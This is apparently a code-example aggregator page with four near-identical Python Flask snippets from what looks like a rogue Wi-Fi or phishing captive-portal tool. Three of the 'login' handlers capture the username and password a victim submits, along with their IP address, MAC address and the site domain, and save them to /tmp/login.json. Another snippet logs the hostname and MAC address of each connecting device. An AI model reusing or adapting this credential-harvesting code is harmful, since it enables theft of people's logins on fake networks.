Exemplo n.º 1
0
 def write_log(self, address):
     self.connect_user.update({
         'connected': address,
         'host_name': NetBIOS.NetBIOS().queryIPForName(address),
         'mac_addr': network.get_remote_mac(self.iface, address),
         'Time': datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S'),
     })
     self.connect_data = self.connect_data.replace('[', '')
     self.connect_data = self.connect_data.replace(']', '')
     self.connect_data = '[' + self.connect_data + str(self.connect_user) + ', ]'
     with open('/tmp/connect.json', 'w+') as con_log_file:
         json.dump(self.connect_data, con_log_file, ensure_ascii=False)
         con_log_file.close()
Exemplo n.º 2
0
 def login(self):
     self.logged_user.update({
         'ip_addr': request.remote_addr,
         'site': self.split_url(request.url)['domain'],
         'mac_addr': network.get_remote_mac(self.iface, request.remote_addr),
         'id': request.form['id'],
         'pw': request.form['password'],
         'Time': datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')
     })
     self.logged_data = self.logged_data.replace('[', '')
     self.logged_data = self.logged_data.replace(']', '')
     self.logged_data = '[' + self.logged_data + str(self.logged_user) + ', ]'
     with open('/tmp/login.json', 'w+') as log_file:
         json.dump(self.logged_data, log_file, ensure_ascii=False)
         log_file.close()
     return redirect(url_for('index'))
Exemplo n.º 3
0
 def login(self):
     self.logged_user.update({
         'ip_addr': request.remote_addr,
         'site': self.split_url(request.url)['domain'],
         'mac_addr': network.get_remote_mac(self.iface, request.remote_addr),
         'id': request.form['id'],
         'pw': request.form['password'],
         'Time': datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')
     })
     self.logged_data = self.logged_data.replace('[', '')
     self.logged_data = self.logged_data.replace(']', '')
     self.logged_data = '[' + self.logged_data + str(self.logged_user) + ', ]'
     with open('/tmp/login.json', 'w+') as log_file:
         json.dump(self.logged_data, log_file, ensure_ascii=False)
         log_file.close()
     self.write_log(request.remote_addr)
     return redirect(url_for('index'))
Exemplo n.º 4
0
 def login(self):
     self.logged_user.update(
         {
             "ip_addr": request.remote_addr,
             "site": self.split_url(request.url)["domain"],
             "mac_addr": network.get_remote_mac(self.iface, request.remote_addr),
             "id": request.form["id"],
             "pw": request.form["password"],
             "Time": datetime.datetime.fromtimestamp(time.time()).strftime("%Y-%m-%d %H:%M:%S"),
         }
     )
     self.logged_data = self.logged_data.replace("[", "")
     self.logged_data = self.logged_data.replace("]", "")
     self.logged_data = "[" + self.logged_data + str(self.logged_user) + ", ]"
     with open("/tmp/login.json", "w+") as log_file:
         json.dump(self.logged_data, log_file, ensure_ascii=False)
         log_file.close()
     return redirect(url_for("index"))